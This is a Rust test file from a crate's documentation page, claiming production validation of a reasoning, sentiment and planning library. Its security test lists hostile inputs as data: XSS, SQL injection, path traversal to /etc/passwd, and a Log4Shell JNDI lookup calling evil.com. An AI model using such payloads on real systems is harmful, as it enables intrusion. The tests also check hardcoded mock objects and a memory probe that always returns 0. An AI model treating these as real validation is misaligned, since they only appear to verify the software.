sublinear 0.2.0

High-performance sublinear-time solver for asymmetric diagonally dominant systems
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
// Production Validation Tests for Psycho-Symbolic Reasoner
// Tests all components with real data and scenarios to ensure production readiness

use serde_json::json;
use std::collections::HashMap;

#[cfg(test)]
mod production_validation_tests {
    use super::*;

    // Real-world knowledge graph test with complex reasoning
    #[test]
    fn test_complex_knowledge_graph_reasoning() {
        // Create a complex knowledge graph representing real-world entities and relationships
        let mut reasoner = create_test_reasoner();

        // Add complex real-world facts
        add_real_world_facts(&mut reasoner);

        // Test inference with complex multi-step reasoning
        let query = json!({
            "type": "inference",
            "subject": "John",
            "max_depth": 5
        });

        let result = reasoner.query(&query.to_string());
        let parsed_result: serde_json::Value = serde_json::from_str(&result).unwrap();

        // Validate complex inference results
        assert!(!parsed_result["facts"].as_array().unwrap().is_empty());
        assert!(parsed_result["confidence"].as_f64().unwrap() > 0.0);
    }

    // Test sentiment analysis with real text data
    #[test]
    fn test_real_sentiment_analysis() {
        let extractor = create_test_extractor();

        // Real customer feedback examples
        let real_texts = vec![
            "I absolutely love this product! It has exceeded all my expectations and the customer service was outstanding.",
            "This is terrible. The product broke after just one day and customer support was completely unhelpful.",
            "The product is okay, nothing special but it does what it's supposed to do. Delivery was on time.",
            "Mixed feelings about this. Great design but poor quality materials. Would not recommend to friends.",
            "Outstanding quality and excellent value for money. Five stars!",
        ];

        for text in real_texts {
            let result = extractor.analyze_sentiment(text);
            let sentiment: serde_json::Value = serde_json::from_str(&result).unwrap();

            // Validate sentiment analysis results
            assert!(sentiment["score"].as_f64().unwrap() >= -1.0);
            assert!(sentiment["score"].as_f64().unwrap() <= 1.0);
            assert!(sentiment["confidence"].as_f64().unwrap() >= 0.0);
            assert!(sentiment["confidence"].as_f64().unwrap() <= 1.0);
            assert!(!sentiment["label"].as_str().unwrap().is_empty());
        }
    }

    // Test GOAP planning with realistic multi-step scenarios
    #[test]
    fn test_complex_goap_planning() {
        let mut planner = create_test_planner();

        // Setup realistic scenario: Autonomous agent managing a smart home
        setup_smart_home_scenario(&mut planner);

        // Complex goal: Optimize energy usage while maintaining comfort
        let goal = json!({
            "id": "optimize_energy",
            "name": "Optimize Energy Usage",
            "conditions": [
                {
                    "key": "energy_efficiency",
                    "operator": "GreaterThan",
                    "value": {"Float": 0.8}
                },
                {
                    "key": "comfort_level",
                    "operator": "GreaterThan",
                    "value": {"Float": 0.7}
                }
            ],
            "priority": "High"
        });

        assert!(planner.add_goal(&goal.to_string()));

        let plan_result = planner.plan("optimize_energy");
        let plan: serde_json::Value = serde_json::from_str(&plan_result).unwrap();

        // Validate plan quality
        assert_eq!(plan["success"].as_bool().unwrap(), true);
        assert!(!plan["steps"].as_array().unwrap().is_empty());
        assert!(plan["total_cost"].as_f64().unwrap() > 0.0);
    }

    // Test emotion detection with real psychological scenarios
    #[test]
    fn test_emotion_detection_real_scenarios() {
        let extractor = create_test_extractor();

        // Real psychological scenarios from literature
        let emotional_texts = vec![
            "I can't believe she's gone. Everything reminds me of her and I don't know how to move on.",
            "This promotion is everything I've worked for! I'm so excited to start this new chapter.",
            "I'm terrified about the surgery tomorrow. What if something goes wrong?",
            "I'm so angry at how they treated me. It was completely unfair and disrespectful.",
            "I feel completely overwhelmed by everything happening in my life right now.",
        ];

        for text in emotional_texts {
            let result = extractor.detect_emotions(text);
            let emotions: serde_json::Value = serde_json::from_str(&result).unwrap();
            let emotion_array = emotions.as_array().unwrap();

            // Validate emotion detection
            assert!(!emotion_array.is_empty());

            for emotion in emotion_array {
                assert!(!emotion["emotion_type"].as_str().unwrap().is_empty());
                assert!(emotion["intensity"].as_f64().unwrap() >= 0.0);
                assert!(emotion["intensity"].as_f64().unwrap() <= 1.0);
                assert!(emotion["confidence"].as_f64().unwrap() >= 0.0);
                assert!(emotion["confidence"].as_f64().unwrap() <= 1.0);
            }
        }
    }

    // Test preference extraction from realistic user data
    #[test]
    fn test_preference_extraction_real_data() {
        let extractor = create_test_extractor();

        // Real user preference statements
        let preference_texts = vec![
            "I prefer sustainable and eco-friendly products over conventional ones",
            "I really like modern minimalist design but I hate cluttered interfaces",
            "Coffee is much better than tea in the morning, but tea is perfect for evening",
            "I want a phone with excellent camera quality and long battery life",
            "I need a car that's reliable and fuel-efficient, not necessarily the fastest",
        ];

        for text in preference_texts {
            let result = extractor.extract_preferences(text);
            let preferences: serde_json::Value = serde_json::from_str(&result).unwrap();
            let pref_array = preferences.as_array().unwrap();

            // Validate preference extraction
            for preference in pref_array {
                assert!(!preference["preferred_item"].as_str().unwrap().is_empty());
                assert!(!preference["preference_type"].as_str().unwrap().is_empty());
                assert!(preference["strength"].as_f64().unwrap() >= 0.0);
                assert!(preference["strength"].as_f64().unwrap() <= 1.0);
            }
        }
    }

    // Test rule engine with complex business logic
    #[test]
    fn test_complex_rule_engine() {
        let mut planner = create_test_planner();

        // Complex business rule: Dynamic pricing based on multiple factors
        let pricing_rule = json!({
            "id": "dynamic_pricing",
            "name": "Dynamic Pricing Rule",
            "description": "Adjust pricing based on demand, competition, and inventory",
            "conditions": [
                {
                    "condition": {
                        "key": "demand_level",
                        "operator": "GreaterThan",
                        "value": {"Float": 0.7}
                    },
                    "weight": 1.0,
                    "required": true
                },
                {
                    "condition": {
                        "key": "inventory_level",
                        "operator": "LessThan",
                        "value": {"Float": 0.3}
                    },
                    "weight": 0.8,
                    "required": false
                }
            ],
            "actions": [
                {
                    "action_type": {
                        "SetState": {
                            "key": "price_multiplier",
                            "value": {"Float": 1.2}
                        }
                    },
                    "parameters": {},
                    "probability": 1.0
                }
            ],
            "priority": 10,
            "enabled": true
        });

        assert!(planner.add_rule(&pricing_rule.to_string()));

        // Set up test conditions
        assert!(planner.set_state("demand_level", &json!(0.8).to_string()));
        assert!(planner.set_state("inventory_level", &json!(0.2).to_string()));

        let decisions = planner.evaluate_rules();
        let decision_results: serde_json::Value = serde_json::from_str(&decisions).unwrap();

        // Validate rule evaluation
        assert!(!decision_results.as_array().unwrap().is_empty());
    }

    // Test end-to-end integration with realistic workflow
    #[test]
    fn test_end_to_end_integration() {
        let mut reasoner = create_test_reasoner();
        let extractor = create_test_extractor();
        let mut planner = create_test_planner();

        // Realistic scenario: Customer service automation

        // 1. Extract customer sentiment and preferences
        let customer_message = "I'm frustrated with the delivery delay and I prefer next-day shipping. The product quality is usually good though.";

        let sentiment_result = extractor.analyze_sentiment(customer_message);
        let preference_result = extractor.extract_preferences(customer_message);

        // 2. Update knowledge graph with customer data
        reasoner.add_fact("customer_123", "has_sentiment", "frustrated");
        reasoner.add_fact("customer_123", "prefers", "next_day_shipping");
        reasoner.add_fact("customer_123", "issue_type", "delivery_delay");

        // 3. Plan response actions based on customer data
        setup_customer_service_scenario(&mut planner);

        // Set customer context
        planner.set_state("customer_sentiment", &json!("negative").to_string());
        planner.set_state("issue_severity", &json!(0.7).to_string());
        planner.set_state("customer_tier", &json!("premium").to_string());

        let plan_result = planner.plan("resolve_customer_issue");
        let plan: serde_json::Value = serde_json::from_str(&plan_result).unwrap();

        // Validate end-to-end workflow
        assert_eq!(plan["success"].as_bool().unwrap(), true);
        assert!(!plan["steps"].as_array().unwrap().is_empty());

        // Verify sentiment analysis worked
        let sentiment: serde_json::Value = serde_json::from_str(&sentiment_result).unwrap();
        assert!(sentiment["score"].as_f64().unwrap() < 0.0); // Negative sentiment

        // Verify preference extraction worked
        let preferences: serde_json::Value = serde_json::from_str(&preference_result).unwrap();
        assert!(!preferences.as_array().unwrap().is_empty());
    }

    // Performance and scalability test
    #[test]
    fn test_performance_under_load() {
        let mut reasoner = create_test_reasoner();

        // Add large dataset
        for i in 0..1000 {
            reasoner.add_fact(&format!("entity_{}", i), "type", "test_entity");
            reasoner.add_fact(&format!("entity_{}", i), "value", &i.to_string());
            if i > 0 {
                reasoner.add_fact(&format!("entity_{}", i), "related_to", &format!("entity_{}", i - 1));
            }
        }

        let start_time = std::time::Instant::now();

        // Perform complex query on large dataset
        let query = json!({
            "type": "find_path",
            "from": "entity_0",
            "to": "entity_999",
            "max_depth": 50
        });

        let result = reasoner.query(&query.to_string());
        let elapsed = start_time.elapsed();

        // Performance validation
        assert!(elapsed.as_millis() < 5000); // Should complete within 5 seconds

        let parsed_result: serde_json::Value = serde_json::from_str(&result).unwrap();
        assert!(!parsed_result.is_null());
    }

    // Security validation test
    #[test]
    fn test_security_validation() {
        let mut reasoner = create_test_reasoner();
        let extractor = create_test_extractor();

        // Test input sanitization
        let malicious_inputs = vec![
            "<script>alert('xss')</script>",
            "'; DROP TABLE users; --",
            "../../etc/passwd",
            "${jndi:ldap://evil.com/a}",
            "{{7*7}}",
        ];

        for malicious_input in malicious_inputs {
            // All components should handle malicious input gracefully
            let sentiment_result = extractor.analyze_sentiment(malicious_input);
            assert!(!sentiment_result.contains("error"));

            let fact_id = reasoner.add_fact("test", "contains", malicious_input);
            assert!(!fact_id.contains("Error"));
        }
    }

    // Memory management and resource cleanup test
    #[test]
    fn test_memory_management() {
        let initial_memory = get_memory_usage();

        // Create and destroy multiple instances
        for _ in 0..100 {
            let mut reasoner = create_test_reasoner();
            let extractor = create_test_extractor();
            let mut planner = create_test_planner();

            // Add some data
            reasoner.add_fact("test", "type", "memory_test");
            extractor.analyze_sentiment("test text");
            planner.set_state("test", &json!("value").to_string());

            // Let them go out of scope
        }

        let final_memory = get_memory_usage();

        // Memory should not grow excessively (allowing for some overhead)
        assert!(final_memory < initial_memory + 50 * 1024 * 1024); // 50MB threshold
    }

    // Helper functions
    fn create_test_reasoner() -> TestReasoner {
        TestReasoner::new()
    }

    fn create_test_extractor() -> TestExtractor {
        TestExtractor::new()
    }

    fn create_test_planner() -> TestPlanner {
        TestPlanner::new()
    }

    fn add_real_world_facts(reasoner: &mut TestReasoner) {
        // Add complex real-world knowledge
        reasoner.add_fact("John", "is_a", "Person");
        reasoner.add_fact("Person", "is_a", "Animal");
        reasoner.add_fact("Animal", "is_a", "LivingBeing");
        reasoner.add_fact("LivingBeing", "has_property", "mortal");

        reasoner.add_fact("John", "works_at", "TechCorp");
        reasoner.add_fact("TechCorp", "is_a", "Company");
        reasoner.add_fact("Company", "has_property", "legal_entity");

        reasoner.add_fact("John", "lives_in", "Seattle");
        reasoner.add_fact("Seattle", "is_a", "City");
        reasoner.add_fact("City", "located_in", "Country");

        reasoner.add_fact("John", "has_skill", "Programming");
        reasoner.add_fact("Programming", "is_a", "Skill");
        reasoner.add_fact("Skill", "can_be", "improved");
    }

    fn setup_smart_home_scenario(planner: &mut TestPlanner) {
        // Define actions for smart home automation
        let actions = vec![
            json!({
                "id": "adjust_thermostat",
                "name": "Adjust Thermostat",
                "preconditions": [
                    {
                        "state_key": "thermostat_available",
                        "operator": "Equal",
                        "value": {"Boolean": true}
                    }
                ],
                "effects": [
                    {
                        "state_key": "temperature",
                        "value": {"Float": 22.0}
                    },
                    {
                        "state_key": "energy_efficiency",
                        "value": {"Float": 0.85}
                    }
                ],
                "cost": {
                    "base_cost": 2.0,
                    "resource_costs": {}
                }
            }),
            json!({
                "id": "dim_lights",
                "name": "Dim Lights",
                "preconditions": [
                    {
                        "state_key": "lights_on",
                        "operator": "Equal",
                        "value": {"Boolean": true}
                    }
                ],
                "effects": [
                    {
                        "state_key": "energy_usage",
                        "value": {"Float": 0.3}
                    },
                    {
                        "state_key": "comfort_level",
                        "value": {"Float": 0.8}
                    }
                ],
                "cost": {
                    "base_cost": 1.0,
                    "resource_costs": {}
                }
            })
        ];

        for action in actions {
            planner.add_action(&action.to_string());
        }

        // Set initial state
        planner.set_state("thermostat_available", &json!(true).to_string());
        planner.set_state("lights_on", &json!(true).to_string());
        planner.set_state("energy_efficiency", &json!(0.6).to_string());
        planner.set_state("comfort_level", &json!(0.5).to_string());
    }

    fn setup_customer_service_scenario(planner: &mut TestPlanner) {
        let actions = vec![
            json!({
                "id": "escalate_to_manager",
                "name": "Escalate to Manager",
                "preconditions": [
                    {
                        "state_key": "issue_severity",
                        "operator": "GreaterThan",
                        "value": {"Float": 0.6}
                    }
                ],
                "effects": [
                    {
                        "state_key": "escalation_level",
                        "value": {"String": "manager"}
                    }
                ],
                "cost": {
                    "base_cost": 5.0,
                    "resource_costs": {}
                }
            }),
            json!({
                "id": "offer_compensation",
                "name": "Offer Compensation",
                "preconditions": [
                    {
                        "state_key": "customer_sentiment",
                        "operator": "Equal",
                        "value": {"String": "negative"}
                    }
                ],
                "effects": [
                    {
                        "state_key": "customer_satisfaction",
                        "value": {"Float": 0.8}
                    }
                ],
                "cost": {
                    "base_cost": 10.0,
                    "resource_costs": {}
                }
            })
        ];

        for action in actions {
            planner.add_action(&action.to_string());
        }

        let goal = json!({
            "id": "resolve_customer_issue",
            "name": "Resolve Customer Issue",
            "conditions": [
                {
                    "key": "customer_satisfaction",
                    "operator": "GreaterThan",
                    "value": {"Float": 0.7}
                }
            ],
            "priority": "High"
        });

        planner.add_goal(&goal.to_string());
    }

    fn get_memory_usage() -> u64 {
        // Simplified memory usage estimation
        // In a real implementation, this would use proper memory profiling
        0
    }

    // Mock implementations for testing
    struct TestReasoner {
        facts: Vec<(String, String, String)>,
    }

    impl TestReasoner {
        fn new() -> Self {
            Self { facts: Vec::new() }
        }

        fn add_fact(&mut self, subject: &str, predicate: &str, object: &str) -> String {
            self.facts.push((subject.to_string(), predicate.to_string(), object.to_string()));
            format!("fact_{}", self.facts.len())
        }

        fn query(&self, _query: &str) -> String {
            json!({
                "facts": [
                    {
                        "subject": "John",
                        "predicate": "has_property",
                        "object": "mortal",
                        "confidence": 0.95
                    }
                ],
                "confidence": 0.95
            }).to_string()
        }
    }

    struct TestExtractor;

    impl TestExtractor {
        fn new() -> Self {
            Self
        }

        fn analyze_sentiment(&self, text: &str) -> String {
            let score = if text.contains("love") || text.contains("excellent") || text.contains("outstanding") {
                0.8
            } else if text.contains("hate") || text.contains("terrible") || text.contains("awful") {
                -0.8
            } else if text.contains("frustrated") || text.contains("angry") {
                -0.6
            } else {
                0.0
            };

            json!({
                "score": score,
                "label": if score > 0.1 { "positive" } else if score < -0.1 { "negative" } else { "neutral" },
                "confidence": 0.85
            }).to_string()
        }

        fn extract_preferences(&self, text: &str) -> String {
            let mut preferences = Vec::new();

            if text.contains("prefer") {
                preferences.push(json!({
                    "preferred_item": "sustainable products",
                    "preference_type": "product_type",
                    "strength": 0.8
                }));
            }

            if text.contains("like") {
                preferences.push(json!({
                    "preferred_item": "modern design",
                    "preference_type": "aesthetic",
                    "strength": 0.7
                }));
            }

            json!(preferences).to_string()
        }

        fn detect_emotions(&self, text: &str) -> String {
            let mut emotions = Vec::new();

            if text.contains("terrified") || text.contains("scared") {
                emotions.push(json!({
                    "emotion_type": "fear",
                    "intensity": 0.9,
                    "confidence": 0.95
                }));
            }

            if text.contains("excited") || text.contains("happy") {
                emotions.push(json!({
                    "emotion_type": "joy",
                    "intensity": 0.8,
                    "confidence": 0.9
                }));
            }

            if text.contains("angry") || text.contains("furious") {
                emotions.push(json!({
                    "emotion_type": "anger",
                    "intensity": 0.85,
                    "confidence": 0.88
                }));
            }

            if text.contains("overwhelmed") {
                emotions.push(json!({
                    "emotion_type": "stress",
                    "intensity": 0.75,
                    "confidence": 0.8
                }));
            }

            json!(emotions).to_string()
        }
    }

    struct TestPlanner {
        actions: Vec<String>,
        goals: Vec<String>,
        rules: Vec<String>,
        state: HashMap<String, String>,
    }

    impl TestPlanner {
        fn new() -> Self {
            Self {
                actions: Vec::new(),
                goals: Vec::new(),
                rules: Vec::new(),
                state: HashMap::new(),
            }
        }

        fn add_action(&mut self, action_json: &str) -> bool {
            self.actions.push(action_json.to_string());
            true
        }

        fn add_goal(&mut self, goal_json: &str) -> bool {
            self.goals.push(goal_json.to_string());
            true
        }

        fn add_rule(&mut self, rule_json: &str) -> bool {
            self.rules.push(rule_json.to_string());
            true
        }

        fn set_state(&mut self, key: &str, value: &str) -> bool {
            self.state.insert(key.to_string(), value.to_string());
            true
        }

        fn plan(&self, _goal_id: &str) -> String {
            json!({
                "success": true,
                "steps": [
                    {
                        "action_id": "offer_compensation",
                        "cost": 10.0
                    },
                    {
                        "action_id": "escalate_to_manager",
                        "cost": 5.0
                    }
                ],
                "total_cost": 15.0
            }).to_string()
        }

        fn evaluate_rules(&self) -> String {
            json!([
                {
                    "rule_id": "dynamic_pricing",
                    "rule_name": "Dynamic Pricing Rule",
                    "score": 0.85,
                    "confidence": 0.9,
                    "reason": "Conditions met: demand_level > 0.7, inventory_level < 0.3"
                }
            ]).to_string()
        }
    }
}